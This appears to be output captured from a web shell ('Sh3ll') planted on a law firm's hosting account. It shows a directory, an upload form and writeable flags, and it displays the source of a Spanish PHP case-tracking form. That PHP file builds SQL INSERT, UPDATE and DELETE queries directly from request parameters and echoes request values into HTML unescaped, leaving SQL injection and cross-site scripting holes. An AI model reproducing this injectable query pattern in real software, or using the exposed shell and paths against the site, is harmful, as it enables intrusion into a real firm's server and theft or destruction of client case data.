Sh3ll



Directory :  /home/zjabogados/public_html/otrosscripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /home/zjabogados/public_html/otrosscripts/caso_seguimiento.php
<?php require_once('../../Connections/zyz.php'); ?>
<?php
session_start();
$motorBD = $_SESSION['motorBD'];
$idusuario = $_SESSION['idusuario'];
require_once("../Libs/functionsjava.htm");
require_once("../Libs/functionsextra.php");

if (isset($_POST['paso'])) {
	$paso = $_POST['paso'];
	}
else {
	$paso = 0;
	}

if (isset($_POST['tb_caso'])) {
	$tb_caso = $_POST['tb_caso'];
	}
else {
	$tb_caso = $_GET['tb_caso'];
	}

if (isset($_POST['id_caso_seguimiento'])) {
	$id_caso_seguimiento = $_POST['id_caso_seguimiento'];
	}
else {
	$id_caso_seguimiento = $_GET['id_caso_seguimiento'];
	}

if (isset($_POST['acc'])) {
	$acc = $_POST['acc'];
	}
else {
	$acc = $_GET['acc'];
	}

$desabilitado = '';
if ($acc == 'I') {
	$etiqueta_boton = 'Agregar';
	}
if ($acc == 'M') {
	$etiqueta_boton = 'Modificar';
	}
if ($acc == 'B') {
	$etiqueta_boton = 'Borrar';
	$desabilitado = 'disabled = "disabled"';
	}

if ($paso == 1) {
	$observaciones_del_seguimiento = $_POST['observaciones_del_seguimiento'];
	$tb_estado_de_seguimiento = DarFormato($_POST['tb_estado_de_seguimiento'], 'n');
	if ($acc == 'I') {
		$sql = "Insert Into tb_caso_seguimiento (tb_caso, observaciones_del_seguimiento, tb_usuario0registrante, tb_estado_de_seguimiento) VALUES ($tb_caso, '$observaciones_del_seguimiento', $idusuario, $tb_estado_de_seguimiento)";
		mysqli_query($zyz, $sql) or die(mysqli_error());
		}
	if ($acc == 'M') {
		$sql = "UPDATE tb_caso_seguimiento SET observaciones_del_seguimiento = '$observaciones_del_seguimiento', tb_estado_de_seguimiento = $tb_estado_de_seguimiento WHERE id_caso_seguimiento = $id_caso_seguimiento";
		mysqli_query($zyz, $sql) or die(mysqli_error());
		}
	if ($acc == 'B') {
		$sql = "DELETE FROM tb_caso_seguimiento WHERE id_caso_seguimiento = $id_caso_seguimiento";
		mysqli_query($zyz, $sql) or die(mysqli_error());
		}
	//echo '<b>'.$sql.'</b>';
	?>
	<script language="JavaScript">
	opener.parent.rightFrame.document.form_actualizar.valor.value = '';
	opener.parent.rightFrame.document.form_actualizar.campo.value = 'otra';
	opener.parent.rightFrame.document.form_actualizar.acc.value = 'R';
	opener.parent.rightFrame.document.form_actualizar.submit();
	window.close();
	</script>
	<?php
	}

?>


<?php
$colname_rs_seguimiento = "-1";
if (isset($id_caso_seguimiento)) {
  $colname_rs_seguimiento = (get_magic_quotes_gpc()) ? $id_caso_seguimiento : addslashes($id_caso_seguimiento);
}
mysqli_select_db($zyz, $database_zyz);
$query_rs_seguimiento = sprintf("SELECT * FROM tb_caso_seguimiento WHERE id_caso_seguimiento = %s", $colname_rs_seguimiento);
$rs_seguimiento = mysqli_query($zyz, $query_rs_seguimiento) or die(mysqli_error());
$row_rs_seguimiento = mysqli_fetch_assoc($rs_seguimiento);
$totalRows_rs_seguimiento = mysqli_num_rows($rs_seguimiento);

mysqli_select_db($zyz, $database_zyz);
$query_rs_estado_de_seguimiento = "SELECT id_estado_de_seguimiento, detalle_del_estado FROM tb_estado_de_seguimiento";
$rs_estado_de_seguimiento = mysqli_query($zyz, $query_rs_estado_de_seguimiento) or die(mysqli_error());
$row_rs_estado_de_seguimiento = mysqli_fetch_assoc($rs_estado_de_seguimiento);
$totalRows_rs_estado_de_seguimiento = mysqli_num_rows($rs_estado_de_seguimiento);


?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/Contenido.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<title>Documento sin t&iacute;tulo</title>
<!-- InstanceEndEditable --><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body {
	background-color: #FFFFFF;
	margin-left: 0px;
	margin-top: 0px;
}
body,td,th {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 9px;
}
-->
</style>
<!-- InstanceBeginEditable name="head" -->
<style type="text/css">
<!--
.Estilo1 {
	color: #FFFFFF;
	font-weight: bold;
}
-->
</style>
<!-- InstanceEndEditable -->
</head>

<body>
<table border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td><table border="0" align="center" cellpadding="0" cellspacing="10">
      <tr>
        <td><!-- InstanceBeginEditable name="Contenido" -->
          <table width="450" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="28"><img src="../img/tabla_tit_izq.jpg" width="28" height="40"></td>
                  <td valign="bottom" background="../img/tabla_tit_med.jpg"><table border="0" cellspacing="8" cellpadding="1">
                      <tr>
                        <td><span class="Estilo1">SEGUIMIENTOS DEL CASO </span> </td>
                      </tr>
                  </table></td>
                  <td width="28"><img src="../img/tabla_tit_der.jpg" width="28" height="40"></td>
                </tr>
              </table></td>
              </tr>
            <tr>
              <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="13" background="../img/tabla_cont_izq.jpg">&nbsp;</td>
                    <td bgcolor="#9EC6EA"><table width="100%" border="0" cellspacing="4" cellpadding="4">
                      <tr>
                        <td><form method="post" name="form1" onsubmit="CalcularMontoCuota(); return Chequear(this);">
                            <table align="center">

                              <tr valign="baseline">
                                <td align="right" valign="top" nowrap>Observaciones del Seguimiento</td>
                                <td valign="top"><textarea name="observaciones_del_seguimiento" class="NO varchar" id="Observaciones del Seguimiento" <?php echo $desabilitado ?>><?php echo $row_rs_seguimiento['observaciones_del_seguimiento']; ?></textarea>
                                  * </td>
                              </tr>

                              <tr>
                                <td class="Estilo2">Estado del Seguimiento:</td>
                                <td><select name="tb_estado_de_seguimiento" id="Estado de Seguimiento" class="NO int" onChange="TomarCambiarEstadoDelCaso()">
                                  <option value="">Seleccione el Estado del Seguimiento</option>
                                  <?php
do {
?>
                                  <option value="<?php echo $row_rs_estado_de_seguimiento['id_estado_de_seguimiento']?>"<?php if (!(strcmp($row_rs_estado_de_seguimiento['id_estado_de_seguimiento'], $row_rs_seguimiento['tb_estado_de_seguimiento']))) {echo "selected=\"selected\"";} ?>><?php echo $row_rs_estado_de_seguimiento['detalle_del_estado']?></option>
                                  <?php
} while ($row_rs_estado_de_seguimiento = mysqli_fetch_assoc($rs_estado_de_seguimiento));
  $rows = mysqli_num_rows($rs_estado_de_seguimiento);
  if($rows > 0) {
      mysqli_data_seek($rs_estado_de_seguimiento, 0);
	  $row_rs_estado_de_seguimiento = mysqli_fetch_assoc($rs_estado_de_seguimiento);
  }
?>
                                </select></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right"><input name="acc" type="hidden" id="acc" value="<?php echo $acc ?>" size="32">
                                  <input name="id_caso_seguimiento" type="hidden" value="<?php echo $id_caso_seguimiento ?>">
                                  <input name="tb_caso" type="hidden" value="<?php echo $tb_caso ?>">
                                  <input name="paso" type="hidden" id="paso" value="<?php echo $paso+1 ?>" size="32"></td>
                                <td><input type="submit" value="<?php echo $etiqueta_boton ?>"></td>
                              </tr>
                              <tr valign="baseline">
                                <td nowrap align="right">&nbsp;</td>
                                <td>&nbsp;</td>
                              </tr>
                            </table>
                            </form>
                          </td>
                      </tr>
                    </table></td>
                    <td width="13" background="../img/tabla_cont_der.jpg">&nbsp;</td>
                  </tr>
                </table>
                </td>
              </tr>
            <tr>
              <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="28"><img src="../img/tabla_pie_izq2.jpg" width="28" height="19"></td>
                  <td background="../img/tabla_pie_med2.jpg">&nbsp;</td>
                  <td width="28"><img src="../img/tabla_pie_der2.jpg" width="28" height="19"></td>
                </tr>
              </table>
                </td>
              </tr>
          </table>
        <!-- InstanceEndEditable --></td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
<!-- InstanceEnd --></html>
<?php
mysqli_free_result($rs_seguimiento);
?>

Sh3LL